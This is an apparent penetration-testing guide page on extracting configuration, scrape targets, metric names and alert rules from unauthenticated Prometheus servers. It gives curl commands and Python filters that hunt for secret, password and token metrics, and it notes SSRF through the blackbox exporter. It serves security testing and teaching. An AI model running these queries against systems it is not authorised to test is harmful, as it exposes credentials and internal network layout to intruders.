# Prometheus Information Disclosure

> Exploit misconfigured Prometheus endpoints to extract metrics, targets, credentials, and internal network data via unauthenticated API access.

- **URL:** https://hackindex.io/services/prometheus/enumeration/prometheus-information-disclosure
- **Path:** Prometheus > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/prometheus/enumeration.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

Prometheus is a monitoring and alerting system that runs on port 9090 by default. It scrapes metrics from configured targets and stores them in a time-series database. Prometheus has no built-in authentication by default, so any network access to port 9090 exposes the full web UI, API, configuration, and scraped metrics. Metrics often contain internal hostnames, service endpoints, and sometimes credentials passed as labels.

## Web UI and API Access

Check whether the Prometheus web UI is accessible without credentials.

```bash
curl -s http://$TARGET_IP:9090/api/v1/status/buildinfo | python3 -m json.tool
# {
#   "status": "success",
#   "data": {
#     "version": "2.47.0",
#     "revision": "abc123",
#     "branch": "HEAD",
#     "buildUser": "root@builder",
#     "buildDate": "20231015",
#     "goVersion": "go1.21.1"
#   }
# }
```

## Configuration Exposure

The configuration endpoint reveals all scrape targets, including internal hostnames, ports, and authentication tokens used for scraping.

```bash
curl -s http://$TARGET_IP:9090/api/v1/status/config | python3 -m json.tool
```

## Target Discovery

List all monitored targets and their current status. Reveals the internal network topology.

```bash
curl -s http://$TARGET_IP:9090/api/v1/targets | python3 -c "
import json, sys
data = json.load(sys.stdin)
for t in data['data']['activeTargets']:
    print(f\"{t['labels'].get('job','?'):20s} {t['scrapeUrl']:50s} {t['health']}\")"
# node-exporter        http://10.10.10.51:9100/metrics                    up
# kube-state-metrics   http://10.10.10.52:8080/metrics                    up
# mysql-exporter       http://10.10.10.53:9104/metrics                    up
# blackbox-exporter    http://10.10.10.50:9115/metrics                    up
```

## Metric-Based Information Disclosure

Scraped metrics can contain sensitive information in labels and values.

**Search for environment variables in metrics**

```bash
curl -s http://$TARGET_IP:9090/api/v1/label/__name__/values | python3 -c "
import json, sys
for name in json.load(sys.stdin)['data']:
    if any(w in name.lower() for w in ['secret', 'password', 'token', 'key', 'env', 'config']):
        print(name)"
```

**Query specific metrics via PromQL**

```bash
curl -s 'http://$TARGET_IP:9090/api/v1/query?query=process_start_time_seconds' | python3 -m json.tool
```

## Alerting Rules

Alert rules reveal what the team considers critical, which can guide attack priorities.

```bash
curl -s http://$TARGET_IP:9090/api/v1/rules | python3 -m json.tool
```

## SSRF via Blackbox Exporter

If a Blackbox exporter target is configured, the Prometheus server itself can be used for SSRF by querying internal endpoints through the exporter's probe mechanism. Check the targets list for a blackbox-exporter instance.

> [!NOTE]
> Prometheus has no direct exploitation path to RCE. Focus on the data it exposes: internal network topology, credentials in configs and metrics, and exporter endpoints that may have their own vulnerabilities.

## References

- [Prometheus: HTTP API](https://prometheus.io/docs/prometheus/latest/querying/api/) - Official API documentation for queries, targets, and config endpoints.
- [HackTricks: 9090 Pentesting Prometheus](https://hacktricks.wiki/en/network-services-pentesting/9090-pentesting-prometheus.html) - Prometheus enumeration and information disclosure techniques.